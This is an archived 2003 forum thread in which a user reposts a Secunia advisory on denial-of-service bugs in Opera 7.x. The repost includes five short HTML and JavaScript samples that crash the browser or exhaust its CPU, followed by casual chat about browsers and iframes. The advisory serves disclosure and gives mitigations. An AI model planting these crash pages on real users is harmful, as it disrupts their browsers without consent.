Opera Dos Danger

Computer builds, hardware and software discussion or troubleshooting, including peripherals. Essentially a general place to talk about desktop computers.
Locked
User avatar
Red Squirrel
Posts: 29209
Joined: Wed Dec 18, 2002 12:14 am
Location: Northern Ontario
Contact:

Opera Dos Danger

Post by Red Squirrel »

http://www.secunia.com/advisories/9156/ :o


elease Date: 2003-07-01

Critical: Not critical
Impact: DoS
Where: From remote

Software: Opera 7.x


Description:
Multiple DoS (Denial of Service) issues have been reported in the Opera browser.

A malicious person can exploit these to either crash the browser due to some NULL pointer dereference bugs or in some cases make it consume vast amounts of CPU resources.

The following five examples was provided in the original advisory:

#1
<!DOCTYPE[NULL byte]A>

#2
<form></form><script>document.forms[0].submit()</script>

#3
<table>
<tr id="crash" style="display:inline"><td>
<script>crash.style.display = "none";</script>
</td></tr>
</table>

#4
<table>
<map id="crash" style="position:absolute"></map>
<script>crash.style.height = crash.style.width = '0';</script>
</table>

#5
<html>
<head>
<style type="text/css">
<!--
.aaaaa:after{content:"A";display:block}
.bbbbb{display:run-in}
.ccccc{display:inline-block}
//-->
</style>
</head>
<body>
<div class="aaaaa">
<div class="bbbbb">
<div class="ccccc">
</div>
</div>
</div>
</body>
</html>


The issues have been reported in the following versions for Windows:

7.11b build 2887
7.11 build 2880
7.10 build 2840
7.03 build 2670


However, Secunia has also been able to confirm the issues in version 7.11 for Linux. Prior versions may also be affected.

Solution:
If regarded as a security threat, all issues except #1 can be eliminated by disabling JavaScript support and the setting "Author mode by default".

Reported by / credits:
imagine and nesumin, :: Operash ::

Archived topic from Iceteks, old topic ID:1033, old post ID:8967
Honk if you love Jesus, text if you want to meet Him!
Chris Vogel
Posts: 5140
Joined: Fri Jan 10, 2003 1:14 am

Opera Dos Danger

Post by Chris Vogel »

I think Tracy and XmimicX are the only people here who use Opera as their main browser. :lol:

I use Mozilla, so this isn't a problem for me. B)

Archived topic from Iceteks, old topic ID:1033, old post ID:8968
User avatar
Red Squirrel
Posts: 29209
Joined: Wed Dec 18, 2002 12:14 am
Location: Northern Ontario
Contact:

Opera Dos Danger

Post by Red Squirrel »

Actually, I noticed something cool in mozilla. Does not seem to work with IE or Opera though. Create a file called iframe.htm (or anything) and put an iframe in it pointing to itself, now open it. It's pretty cool. :lol:

Archived topic from Iceteks, old topic ID:1033, old post ID:8978
Honk if you love Jesus, text if you want to meet Him!
Chris Vogel
Posts: 5140
Joined: Fri Jan 10, 2003 1:14 am

Opera Dos Danger

Post by Chris Vogel »

Red Squirrel wrote: Actually, I noticed something cool in mozilla. Does not seem to work with IE or Opera though. Create a file called iframe.htm (or anything) and put an iframe in it pointing to itself, now open it. It's pretty cool. :lol:
I don't know how to make iframes yet. :huh: :lol:

Archived topic from Iceteks, old topic ID:1033, old post ID:8993
User avatar
Red Squirrel
Posts: 29209
Joined: Wed Dec 18, 2002 12:14 am
Location: Northern Ontario
Contact:

Opera Dos Danger

Post by Red Squirrel »

<iframe src="page" width="200" height="200"></iframe>

There's more parameters such as getting rid of the border, but I forget what they are. borderwidth="" I think

Archived topic from Iceteks, old topic ID:1033, old post ID:9007
Honk if you love Jesus, text if you want to meet Him!
Chris Vogel
Posts: 5140
Joined: Fri Jan 10, 2003 1:14 am

Opera Dos Danger

Post by Chris Vogel »

Red Squirrel wrote: <iframe src="page" width="200" height="200"></iframe>

There's more parameters such as getting rid of the border, but I forget what they are.  borderwidth="" I think
It does look sort of neat. :)

Thanks for a mini HTML lesson too, Red! :roflmao2: :banana: :banana:

Archived topic from Iceteks, old topic ID:1033, old post ID:9009
Locked